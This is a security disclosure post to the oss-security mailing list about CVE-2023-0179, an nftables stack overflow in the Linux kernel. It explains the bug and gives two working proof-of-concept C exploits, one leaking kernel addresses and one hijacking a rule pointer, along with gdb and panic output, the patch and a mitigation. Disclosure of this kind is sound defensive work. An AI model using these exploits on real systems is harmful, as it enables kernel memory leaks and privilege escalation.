Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Fri, 13 Jan 2023 16:22:47 +0100
From: Davide Ornaghi <d.ornaghi97@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2023-0179: Linux kernel stack buffer overflow in nftables: PoC
 and writeup

Hello everyone,

While auditing the Linux kernel (6.2.0-rc1, commit
1b929c02afd37871d5afb9d498426f83432e71c2), I found a buffer overflow
vulnerability within the Netfilter subsystem which has been assigned
CVE-2023-0179.
CVE-2023-0179 is exploitable starting from commit f6ae9f1 up to commit
696e1a48b1a1.
The exploitation could allow the leakage of both stack and heap addresses
and, potentially, a Local Privilege Escalation to the root user via
arbitrary code execution.

## The vulnerability

The vulnerability consists of a stack buffer overflow due to an integer
underflow vulnerability inside the nft_payload_copy_vlan function, which is
invoked with nft_payload expressions as long as a VLAN tag is present in
the current skb.
(net/netfilter/nft_payload.c)

```c
/* add vlan header into the user buffer for if tag was removed by offloads
*/
static bool nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8
offset, u8 len)
{
    int mac_off = skb_mac_header(skb) - skb->data;
    u8 *vlanh, *dst_u8 = (u8 *) d;
    struct vlan_ethhdr veth;
    u8 vlan_hlen = 0;

    if ((skb->protocol == htons(ETH_P_8021AD) ||       <===== (0)
         skb->protocol == htons(ETH_P_8021Q)) &&
        offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
        vlan_hlen += VLAN_HLEN;

    vlanh = (u8 *) &veth;

    if (offset < VLAN_ETH_HLEN + vlan_hlen) {
        u8 ethlen = len;

        if (vlan_hlen &&
            skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
            return false;
        else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
            return false;

        if (offset + len > VLAN_ETH_HLEN + vlan_hlen) <===== (1)
            ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;   <===== (2)

        memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);     <===== (3)

        len -= ethlen;
        if (len == 0)
            return true;

        dst_u8 += ethlen;
        offset = ETH_HLEN + vlan_hlen;
    } else {
        offset -= VLAN_HLEN + vlan_hlen;
    }

    return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
}
```

The checks at (0) look for a second VLAN tag from the EtherType field and,
if the offset falls between the first VLAN_ETH_HLEN bytes and VLAN_ETH_HLEN
plus the size of another VLAN header, then nftables should also try and
process the second VLAN.
At (1) the if statement correctly checks the boundary of the header using
the offset and len variables (8-bit unsigned ints), evaluating to true
whenever offset + len exceeds the double-tagged VLAN header.
The use of inline statements successfully prevents wrappings because u8
types are automatically promoted before the comparison.

However, on the next line, the subtraction at (2) does not grant type
promotion, and ethlen (u8) may wrap to UINT8_MAX under certain conditions.
Some examples of vulnerable offset and len pairs are:

offset: 19 & len: 4 & ethlen = 251
offset: 16 & len: 19 & ethlen = 254
offset: 20 & len: 32 & ethlen = 250
...
Other pairs can be listed with the following algorithm:
```c
uint8_t vlan_hlen = VLAN_HLEN, ethlen;
for (uint8_t len = 0; len < UINT8_MAX; len++) {
    for (uint8_t offset = 0; offset < UINT8_MAX; offset++) {
        if (offset < VLAN_ETH_HLEN + vlan_hlen) {
            uint8_t ethlen = len;
            if (offset + len > VLAN_ETH_HLEN + vlan_hlen) {
                ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
                printf("offset: %hhu & len: %hhu & ethlen = %hhu\n",
offset, len, ethlen);
            }
        }
    }
}
```

Finally, at (3) an up to 255-byte buffer gets copied to the destination
register located on the stack, overwriting the adjacent memory.
Since we can control the destination register, we can pick NFT_REG32_15 to
trigger a 251-byte OOB write on the stack (since NFT_REG32_15 occupies 4
bytes).
The vulnerable code path can be reached if the function
skb_vlan_tag_present(skb) evaluates to true, that is if the skb->vlan_tci
field is set. This is known to happen when the host is placed inside a
VLAN, although a modified skb could also be forged manually. (perhaps by
forging the packet itself or with some other nft_expr that can edit
packets?)

The calling function is nft_payload_eval which evaluates the Nftables
expression:

```c
void nft_payload_eval(const struct nft_expr *expr,
              struct nft_regs *regs,
              const struct nft_pktinfo *pkt) {
    const struct nft_payload *priv = nft_expr_priv(expr);
    const struct sk_buff *skb = pkt->skb;
    u32 *dest = &regs->data[priv->dreg]; <===== (0)
    int offset;

    if (priv->len % NFT_REG32_SIZE)
        dest[priv->len / NFT_REG32_SIZE] = 0;

    switch (priv->base) {
    case NFT_PAYLOAD_LL_HEADER:             <===== (1)
        if (!skb_mac_header_was_set(skb))
            goto err;

        if (skb_vlan_tag_present(skb)) {
            if (!nft_payload_copy_vlan(dest, skb,
                           priv->offset, priv->len)) <===== (2)
                goto err;
            return;
        }
        ...
```

At (0) dest is set to the chosen destination register, where the payload
expression will store its result.
If the payload offset base is NFT_PAYLOAD_LL_HEADER (1) and a mac header is
present, the vulnerable code path will be taken (2).
Furthermore, the kernel must be built with the configuration
`CONFIG_NETFILTER`, `CONFIG_NF_TABLES`, `CONFIG_VLAN_8021Q` enabled, and
the `CAP_NET_ADMIN` capability must be enabled, which can be accomplished
by entering a new user namespace beforehand.

## Info leak: Exploitation details

The exploitation can be carried out in two ways:
The data leak is triggered by using NFT_REG32_00 as the destination
register, which will fill the other registers with data from the stack.
To retrieve the leaked data from the registers, multiple techniques can be
applied. I chose to create an nft_set which will store values across
multiple nft_do_chain routines, I then created 8 different nft_dynset
expressions to index all the available registers and store their values
inside the set.
Finally, the nft userspace utility can be used to retrieve the set content:
```
./nft list ruleset
table ip mytable {
    map myset12 {
        type 0x0 [invalid type] : 0x0 [invalid type]
        size 65535
        elements = { 0x90e0000 [invalid type] : 0xcdd681ff [invalid type],
                 0x12810000 [invalid type] : 0xc9ffff40 [invalid type],
                 0x277d5b8c [invalid type] : 0xf50f0580 [invalid type],
                 0x5fd95cf0 [invalid type] : 0x88ffff60 [invalid type],
                 0x88ffff08 [invalid type] : 0xc9ffff50 [invalid type],
                 0x88ffff50 [invalid type] : 0xc9ffffc2 [invalid type],
                 0xf00f0580 [invalid type] : 0xb0e0000 [invalid type],
                 0xf10f0580 [invalid type] : 0xb0e0000 [invalid type] }
    }
```

gdb will help reassemble the addresses:
```
gef➤  x/16gx 0xffffc900000e0943
0xffffc900000e0943:    0x15d498ffffffff82    0xffffffffff888005
0xffffc900000e0953:    0x00000000000000ff    0x0081120000000000
0xffffc900000e0963:    0x5cd95f8c5b7d2700    0xffff8880050ff1f0   <=====
struct nft_expr *expr
0xffffc900000e0973:    0xffff8880050ff008    0xffffc900000e0950   <=====
0xffffc900000e0983:    0xffff8880050ff540    0xffffc900000e0b60   <=====
0xffffc900000e0993:    0xffffc900000e0b50    0xffffffff81d6cdc2   <=====
0xffffc900000e09a3:    0xffffc900000e0930    0xffffffff81df5b57
0xffffc900000e09b3:    0xffff888005034a50    0x00000000015c0d00
```
All the highlighted addresses can be derived from the userspace set dump
and can be used to calculate the KASLR slide.
The following PoC code can be used to reach this condition:

```c
#define VLAN_HLEN    4
#define VLAN_ETH_HLEN 18
int create_base_chain_rule(struct mnl_socket* nl, char* table_name, char*
chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset,
uint8_t len)
{
    struct nftnl_rule* r = build_rule(table_name, chain_name, family,
handle);
    // 1. register grooming
    char *keys[] = {"AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG",
"HHHH"};
    char *values[] = {"AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF",
"GGGG", "HHHH"};

    for (unsigned int keyreg = NFT_REG32_00; keyreg <= NFT_REG32_07;
keyreg++) {
        rule_add_immediate_data(r, keyreg, (void *) keys[keyreg -
NFT_REG32_00], 4);
    }
    for (unsigned int datareg = NFT_REG32_09; datareg <= NFT_REG32_15;
datareg++) {
        rule_add_immediate_data(r, datareg, (void *) values[datareg -
NFT_REG32_09], 4);
    }

    // 2. trigger overflow
    rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, offset, len, NFT_REG32_00);

    // 3. copy to set
    for (int keyreg = NFT_REG32_00, datareg = NFT_REG32_08; keyreg <=
NFT_REG32_07, datareg <= NFT_REG32_15; datareg++, keyreg++) {
        rule_add_dynset(r, "myset12", keyreg, datareg);
    }

    // 4. commit to the kernel
    return send_batch_request(
        nl,
        NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
        NLM_F_CREATE, family, (void**)&r, seq,
        NULL
    );
}

int main(int argc, char** argv, char** envp)
{
    system("ip link set dev lo up");
    struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("[-] mnl_socket_bind");
        exit(EXIT_FAILURE);
    }
    int seq = time(NULL);
    int err;

    char *table_name = "mytable",
         *base_chain_name = "base_chain",
         *set_name = "myset12";

    if (create_table(nl, table_name, AF_INET, &seq, NULL) == -1) {
        perror("Failed creating table");
        exit(EXIT_FAILURE);
    }
    printf("[+] Created nft %s\n", table_name);

    struct unft_base_chain_param bp;
    bp.hook_num = NF_INET_PRE_ROUTING;
    bp.prio = 10;
    if (create_chain(nl, table_name, base_chain_name, NFPROTO_IPV4, &bp,
&seq, NULL)) {
        perror("Failed creating base chain");
        exit(EXIT_FAILURE);
    }
    printf("[+] Created base ipv4 chain %s\n", base_chain_name);

    if (create_set(nl, table_name, set_name, NFPROTO_IPV4, &seq, NULL)) {
        perror("Failed creating set");
        exit(EXIT_FAILURE);
    }
    printf("[+] Created exploit set\n");

    uint8_t vlan_hlen = 0, ethlen;
    for (uint8_t len = 0; len < UINT8_MAX; len++) {
        for (uint8_t offset = 0; offset < UINT8_MAX; offset++) {
            if (offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN +
VLAN_HLEN) {
                vlan_hlen = 4;
            } else {
                vlan_hlen = 0;
            }
            if (offset < VLAN_ETH_HLEN + vlan_hlen) {
                uint8_t ethlen = len;
                if (offset + len > VLAN_ETH_HLEN + vlan_hlen) {

                    ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
                    if (ethlen > 250 && vlan_hlen == 4 && len % 4 == 0) {
                        if (create_base_chain_rule(nl, table_name,
base_chain_name, NFPROTO_IPV4, NULL, &seq, offset, len)) {
                            perror("Failed creating base chain rule");
                            exit(EXIT_FAILURE);
                        } else {
                            printf("offset: %hhu & len: %hhu & ethlen =
%hhu\n", offset, len, ethlen);
                            puts("[+] Successfully created base chain
rule!");
                            return 0;
                        }
                    }
                }
            }
        }
    }
}
```

## Code execution: Initial exploitation details

The second way to exploit this vulnerability involves overwriting most of
the jumpstack array, which gets allocated right next to the registers in
nft_do_chain, with controlled data (net/netfilter/nf_tables_core.c:236).
The register's content is also included in the OOB write, allowing us to
overwrite the jumpstack with arbitrary rules and chains.

```c
regs.verdict.code = NFT_CONTINUE;
for (; rule < last_rule; rule = nft_rule_next(rule)) {
    nft_rule_dp_for_each_expr(expr, last, rule) {
        expr_call_ops_eval(expr, &regs, pkt);
        if (regs.verdict.code != NFT_CONTINUE)
            break;
    }

    switch (regs.verdict.code) {
    case NFT_BREAK:
        regs.verdict.code = NFT_CONTINUE;
        nft_trace_copy_nftrace(pkt, &info);
        continue;
    case NFT_CONTINUE:
        nft_trace_packet(pkt, &info, chain, rule,
                 NFT_TRACETYPE_RULE);
        continue;
    }
    break;
}

switch (regs.verdict.code) {
    case NFT_JUMP:
        if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
            return NF_DROP;
        jumpstack[stackptr].chain = chain;
        jumpstack[stackptr].rule = nft_rule_next(rule);
        jumpstack[stackptr].last_rule = last_rule;
        stackptr++;           <===== (0)
        fallthrough;
    case NFT_GOTO:
        chain = regs.verdict.chain;
        goto do_chain;
    case NFT_CONTINUE:
    case NFT_RETURN:
        break;
    default:
        WARN_ON_ONCE(1);
}

if (stackptr > 0) {             <===== (1)
    stackptr--;
    chain = jumpstack[stackptr].chain;
    rule = jumpstack[stackptr].rule;     <===== (2)
    last_rule = jumpstack[stackptr].last_rule;
    goto next_rule;
}
```

By repeatedly jumping to another chain, the stackptr variable gets
incremented (0) until the jumpstack entry that will end up containing our
addresses has been reached, then the last chain will trigger the overflow,
effectively replacing the jumpstack content and setting the verdict to
NFT_CONTINUE. The NFT_CONTINUE verdict allows us to break from the switch
statement and reach (1).
At this point, the chain, rule, and last_rule variables will be overwritten
with our controlled data (2).

The security issue is that, if the rule points to a well-formed expression
that can be dereferenced, the expr_call_ops_eval function will be called on
that expression, effectively evaluating it:

```c
static void expr_call_ops_eval(const struct nft_expr *expr,
                   struct nft_regs *regs,
                   struct nft_pktinfo *pkt) {
    ...
    expr->ops->eval(expr, regs, pkt);
}
```

The following PoC code replicates this scenario and triggers a protection
fault when dereferencing our rule pointer:

```c
#define VLAN_HLEN    4
#define VLAN_ETH_HLEN 18

int create_final_chain_rule(struct mnl_socket* nl, char* table_name, char*
chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset,
uint8_t len) {
    struct nftnl_rule* r = build_rule(table_name, chain_name, family,
handle);
    // 1. register grooming
    char *data[] =  {"ABBB", "BBBB", "BCCC", "CCCC", "CAAA", "AAAA",
"AAAA", "AAAA", "AAAA", "AAAA", "AAAA", "AAAA", "AAAA", "AAAA","AAAA",
"AAAA", "AAAA"};

    for (int reg = NFT_REG32_00; reg <= NFT_REG32_15; reg++) {
        rule_add_immediate_data(r, reg, (void *) data[reg - NFT_REG32_00],
4);
    }

    // 2. trigger overflow
    rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, offset, len, NFT_REG32_15);

    // 3. break from the regs verdict switch, going back to the corrupted
previous chain
    rule_add_immediate_verdict(r, NFT_CONTINUE, "final_chain");

    return send_batch_request(
        nl,
        NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
        NLM_F_CREATE, family, (void**)&r, seq,
        NULL
    );
}

int create_jmp_chain_rule(struct mnl_socket* nl, char* table_name, char*
chain_name, uint16_t family, uint64_t* handle, int* seq)
{
    struct nftnl_rule* r = build_rule(table_name, chain_name, family,
handle);
    int i = atoi(chain_name);
    i++;
    char next_chain[5];
    sprintf(next_chain, "%d", i);

    if (i == 8) {
        // jump to the overflow chain
        rule_add_immediate_verdict(r, NFT_JUMP, "final_chain");
    } else {
        // jump to the next jmp chain, incrementing stackptr
        rule_add_immediate_verdict(r, NFT_JUMP, next_chain);
    }

    return send_batch_request(
        nl,
        NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
        NLM_F_CREATE, family, (void**)&r, seq,
        NULL
    );
}

int create_base_chain_rule(struct mnl_socket* nl, char* table_name, char*
chain_name, uint16_t family, uint64_t* handle, int* seq)
{
    struct nftnl_rule* r = build_rule(table_name, chain_name, family,
handle);
    uint16_t num = htons(1337);
    uint16_t biggerNum = htons(1338);
    rule_add_immediate_data(r, NFT_REG32_15, &num, sizeof num);

    rule_add_cmp(r, NFT_CMP_NEQ, NFT_REG32_15, &biggerNum, sizeof
biggerNum);

    rule_add_immediate_verdict(r, NFT_JUMP, "0");

    return send_batch_request(
        nl,
        NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
        NLM_F_CREATE, family, (void**)&r, seq,
        NULL
    );
}

int main(int argc, char** argv, char** envp)
{
    system("ip link set dev lo up");

    struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("[-] mnl_socket_bind");
        exit(EXIT_FAILURE);
    }
    int seq = time(NULL);
    int err;

    char *table_name = "exploit_table",
         *base_chain_name = "base_chain",
         *final_chain_name = "final_chain";

    if (create_table(nl, table_name, AF_INET, &seq, NULL) == -1) {
        perror("Failed creating table");
        exit(EXIT_FAILURE);
    }
    printf("[+] Created nft %s\n", table_name);

    struct unft_base_chain_param bp;
    bp.hook_num = NF_INET_PRE_ROUTING;
    bp.prio = 10;
    if (create_chain(nl, table_name, base_chain_name, NFPROTO_IPV4, &bp,
&seq, NULL)) {
        perror("Failed creating base chain");
        exit(EXIT_FAILURE);
    }
    printf("[+] Created base ipv4 chain %s\n", base_chain_name);

    if (create_chain(nl, table_name, final_chain_name, NFPROTO_IPV4, NULL,
&seq, NULL)) {
        perror("Failed creating final chain");
        exit(EXIT_FAILURE);
    }
    printf("[+] Created final chain %s\n", final_chain_name);

    char jmp_chain_name[5];
    for (int i = 0; i < 8; i++) {
        sprintf(jmp_chain_name, "%d", i);
        if (create_chain(nl, table_name, jmp_chain_name, NFPROTO_IPV4,
NULL, &seq, NULL)) {
            perror("Failed creating jmp chain");
            exit(EXIT_FAILURE);
        }
        printf("[+] Created jmp chain %s\n", jmp_chain_name);
    }

    if (create_base_chain_rule(nl, table_name, base_chain_name,
NFPROTO_IPV4, NULL, &seq)) {
        perror("Failed creating base chain rule");
        exit(EXIT_FAILURE);
    }

    puts("[+] Succesfully created base_chain rule!");
    for (int i = 0; i < 8; i++) {
        sprintf(jmp_chain_name, "%d", i);
        if (create_jmp_chain_rule(nl, table_name, jmp_chain_name,
NFPROTO_IPV4, NULL, &seq)) {
            perror("Failed creating jmp chain rule");
            exit(EXIT_FAILURE);
        }
        puts("[+] Successfully created jmp chain rule!");
    }

    uint8_t vlan_hlen = 0, ethlen;
    for (uint8_t len = 0; len < UINT8_MAX; len++) {
        for (uint8_t offset = 0; offset < UINT8_MAX; offset++) {
            if (offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN +
VLAN_HLEN) {
                vlan_hlen = 4;
            } else {
                vlan_hlen = 0;
            }
            if (offset < VLAN_ETH_HLEN + vlan_hlen) {
                uint8_t ethlen = len;
                if (offset + len > VLAN_ETH_HLEN + vlan_hlen) {

                    ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
                    if (ethlen > 250 && vlan_hlen == 4 && len % 4 == 0) {
                        if (create_final_chain_rule(nl, table_name,
final_chain_name, NFPROTO_IPV4, NULL, &seq, offset, len)) {
                            perror("Failed creating base chain rule");
                            //exit(EXIT_FAILURE);
                        } else {
                            printf("offset: %hhu & len: %hhu & ethlen =
%hhu\n", offset, len, ethlen);
                            puts("[+] Successfully created final chain
rule!");
                            return 0;
                        }
                    }
                }
            }
        }
    }
}
```

Here is the jumpstack before evaluating the last chain:
```
gef➤  p stackptr
$349 = 0x8
gef➤  p jumpstack
$350 = {{
    chain = 0xffff8880050d5a50,
    rule = 0xffff888006a471e8,
    last_rule = 0xffff888006a471e8
  }, {
    chain = 0xffff888004eaa180,
    rule = 0xffff8880045fd270,
    last_rule = 0xffff8880045fd270
  }, {
    chain = 0xffff888004eaa580,
    rule = 0xffff8880045fd3f0,
    last_rule = 0xffff8880045fd3f0
  }, {
    chain = 0xffff888004eaa500,
    rule = 0xffff8880045fde70,
    last_rule = 0xffff8880045fde70
  }, {
    chain = 0xffff888004eaa080,
    rule = 0xffff8880045fd690,
    last_rule = 0xffff8880045fd690
  }, {
    chain = 0xffff888004eaa000,
    rule = 0xffff8880045fd0f0,
    last_rule = 0xffff8880045fd0f0
  }, {
    chain = 0xffff888004eaae00,
    rule = 0xffff8880045fd6f0,
    last_rule = 0xffff8880045fd6f0
  }, {
    chain = 0xffff888004eaad00,
    rule = 0xffff8880045fd030,
    last_rule = 0xffff8880045fd030
  }, {
    chain = 0xffff88807dd32680,
    rule = 0x0 <fixed_percpu_data>,
    last_rule = 0xffff88807dd32680
  }, {
...
```

and this is the jumpstack after the last chain:
```
gef➤  p jumpstack
$351 = {{
    chain = 0x105cd95f8c5b7d27,
    rule = 0x8ffff888005154a,
    last_rule = 0x50ffff8880051548
  }, {
    chain = 0x40ffffc900000e09,
    rule = 0x60ffff888005154a,
    last_rule = 0x50ffffc900000e0b
  }, {
    chain = 0xc2ffffc900000e0b,
    rule = 0x1ffffffff81d6cd,
    last_rule = 0x8800000001000000
  }, {
    chain = 0x50ffff8880048fdd,
    rule = 0x1ffff8880050d5a,
    last_rule = 0x9010000
  }, {
    chain = 0x40ffff888004eaa1,
    rule = 0xffff888005154a,
    last_rule = 0xa0ffffffff8203c4
  }, {
    chain = 0x7dffffc900000e09,
    rule = 0xffffffff8114c2,
    last_rule = 0xc300000001000000
  }, {
    chain = 0x0 <fixed_percpu_data>,
    rule = 0xffffff8880000000,
    last_rule = 0xffffff
  }, {
    chain = 0x41ffff888004eaa1,
    rule = 0x4242424242424242,     <===== (0)
    last_rule = 0x4343434343434343
  }, {
    chain = 0x4141414141414141,
    rule = 0x4141414141414141,
    last_rule = 0x4141414141414141
...
```
Notice how the rule at (0) will be evaluated next, leading to the following
panic:
```
[  787.620249] general protection fault, probably for non-canonical address
0x4242424242424242: 0000 [#1] PREEMPT SMP NOPTI
[  787.620249] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 6.2.0-rc1 #5
[  787.620249] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
1.15.0-1 04/01/2014
[  787.620249] RIP: 0010:nft_do_chain+0xc1/0x740
[  787.620249] Code: 40 08 48 8b 38 4c 8d 60 08 4c 01 e7 48 89 bd c8 fd ff
ff c7 85 00 fe ff ff ff ff ff ff 4c 3b a5 c8 fd ff ff 0f 83 4
[  787.620249] RSP: 0018:ffffc900000e08f0 EFLAGS: 00000297
[  787.688284] RAX: 4343434343434343 RBX: 0000000000000007 RCX:
0000000000000000
[  787.688284] RDX: 00000000ffffffff RSI: ffff888005154a38 RDI:
ffffc900000e0960
[  787.688284] RBP: ffffc900000e0b50 R08: ffffc900000e0950 R09:
0000000000000009
[  787.688284] R10: 0000000000000017 R11: 0000000000000009 R12:
4242424242424242
[  787.688284] R13: ffffc900000e0950 R14: ffff888005154a40 R15:
ffffc900000e0b60
[  787.688284] FS:  0000000000000000(0000) GS:ffff88807dd00000(0000)
knlGS:0000000000000000
[  787.688284] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  787.688284] CR2: 00007fd014cc05c8 CR3: 0000000004782000 CR4:
00000000000006e0
[  787.688284] Call Trace:
[  787.688284]  <IRQ>
[  787.688284]  ? _raw_spin_trylock+0x40/0x70
[  787.688284]  ? __wake_up_common_lock+0x8d/0xc0
[  787.688284]  ? debug_smp_processor_id+0x1b/0x30
[  787.688284]  ? get_nohz_timer_target+0x12e/0x230
[  787.688284]  ? lock_timer_base+0x3b/0xd0
[  787.688284]  ? debug_smp_processor_id+0x1b/0x30
[  787.688284]  ? __this_cpu_preempt_check+0x17/0x20
[  787.688284]  ? __mod_memcg_lruvec_state+0x98/0x140
[  787.688284]  ? __mod_node_page_state+0x8b/0x100
[  787.688284]  nft_do_chain_ipv4+0x6a/0x90
[  787.688284]  nf_hook_slow+0x48/0xc0
[  787.688284]  nf_hook_slow_list+0x75/0x100
[  787.688284]  ip_sublist_rcv+0x1ec/0x210
[  787.688284]  ? __pfx_ip_rcv_finish+0x10/0x10
[  787.688284]  ip_list_rcv+0xfd/0x130
[  787.688284]  __netif_receive_skb_list_core+0x218/0x240
[  787.688284]  netif_receive_skb_list_internal+0x19b/0x2b0
[  787.688284]  napi_complete_done+0x7e/0x1d0
[  787.688284]  e1000_clean+0x293/0x620
[  787.688284]  __napi_poll+0x33/0x190
[  787.688284]  net_rx_action+0x1a3/0x300
[  787.688284]  __do_softirq+0x107/0x365
[  787.688284]  __irq_exit_rcu+0x9f/0x110
[  787.688284]  irq_exit_rcu+0x12/0x20
[  787.688284]  common_interrupt+0xca/0xf0
[  787.688284]  </IRQ>
[  787.688284]  <TASK>
[  787.688284]  asm_common_interrupt+0x2b/0x40
[  787.688284] RIP: 0010:native_safe_halt+0xf/0x20
[  787.688284] Code: ff ff 66 0f 1f 84 00 00 00 00 00 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 75 20 0
[  787.688284] RSP: 0018:ffffc900000a3e88 EFLAGS: 00000246
[  787.688284] RAX: 000000000001ad40 RBX: 0000000000000001 RCX:
0000000000000000
[  787.688284] RDX: 4000000000000000 RSI: ffffffff8290de15 RDI:
0000000000013ed4
[  787.688284] RBP: ffffc900000a3e90 R08: 0000000473333333 R09:
0000000000000007
[  787.688284] R10: 0000000000000000 R11: 0000000000000000 R12:
ffff8880046b4800
[  787.688284] R13: 0000000000000000 R14: 0000000000000000 R15:
0000000000000000
[  787.688284]  ? amd_e400_idle+0x46/0x50
[  787.688284]  arch_cpu_idle+0x19/0x20
[  787.688284]  default_idle_call+0x3f/0x100
[  787.688284]  do_idle+0x227/0x2a0
[  787.688284]  cpu_startup_entry+0x24/0x30
[  787.688284]  start_secondary+0x124/0x160
[  787.688284]  secondary_startup_64_no_verify+0xe5/0xeb
[  787.688284]  </TASK>
[  787.688284] Modules linked in:
[  787.758580] ---[ end trace 0000000000000000 ]---
[  787.758580] RIP: 0010:nft_do_chain+0xc1/0x740
[  787.758580] Code: 40 08 48 8b 38 4c 8d 60 08 4c 01 e7 48 89 bd c8 fd ff
ff c7 85 00 fe ff ff ff ff ff ff 4c 3b a5 c8 fd ff ff 0f 83 4
[  787.758580] RSP: 0018:ffffc900000e08f0 EFLAGS: 00000297
[  787.758580] RAX: 4343434343434343 RBX: 0000000000000007 RCX:
0000000000000000
[  787.758580] RDX: 00000000ffffffff RSI: ffff888005154a38 RDI:
ffffc900000e0960
[  787.758580] RBP: ffffc900000e0b50 R08: ffffc900000e0950 R09:
0000000000000009
[  787.758580] R10: 0000000000000017 R11: 0000000000000009 R12:
4242424242424242
[  787.758580] R13: ffffc900000e0950 R14: ffff888005154a40 R15:
ffffc900000e0b60
[  787.758580] FS:  0000000000000000(0000) GS:ffff88807dd00000(0000)
knlGS:0000000000000000
[  787.758580] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  787.758580] CR2: 00007fd014cc05c8 CR3: 0000000004782000 CR4:
00000000000006e0
[  787.758580] Kernel panic - not syncing: Fatal exception in interrupt
[  787.758580] Kernel Offset: disabled
[  787.758580] ---[ end Kernel panic - not syncing: Fatal exception in
interrupt ]---
```

For debugging purposes, the VLAN tag can be manually set with the following
gdb hook after breaking at nft_payload_eval:
```
gef➤ define hook-vlan
set var skb->vlan_proto=0x81
set var skb->vlan_tci=0x12
set var skb->protocol=0x81
end
```

## Patch

Since the vulnerable operation in nft_payload_copy_vlan should account for
the encapsulated VLAN tag, I suspect that the last plus sign should have
been a minus since it prevents any wrapping.
I, therefore, proposed the following patch, which has been applied in
commit 696e1a48b1a1:

```diff
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
    ...
    if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
-        ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
+        ethlen -= offset + len - VLAN_ETH_HLEN - vlan_hlen;
    ...
}
```

## Mitigating the bug

If you are unable to patch this bug, disabling unprivileged user namespaces
will prevent exploitation:

```
sysctl -w kernel.unprivileged_userns_clone = 0
```

I will be providing the full Proof of Concept on my Github repo in the next
few days.

## References

Proof of Concept: [
https://github.com/TurtleARM/CVE-2023-0179-PoC](https://github.com/TurtleARM/CVE-2023-0179-PoC)
David Bouman's article on Nftables and his PoC on Github, which my code is
heavily based on:
[
https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/](https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/)
[
https://github.com/pqlx/CVE-2022-1015](https://github.com/pqlx/CVE-2022-1015)

Davide Ornaghi

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.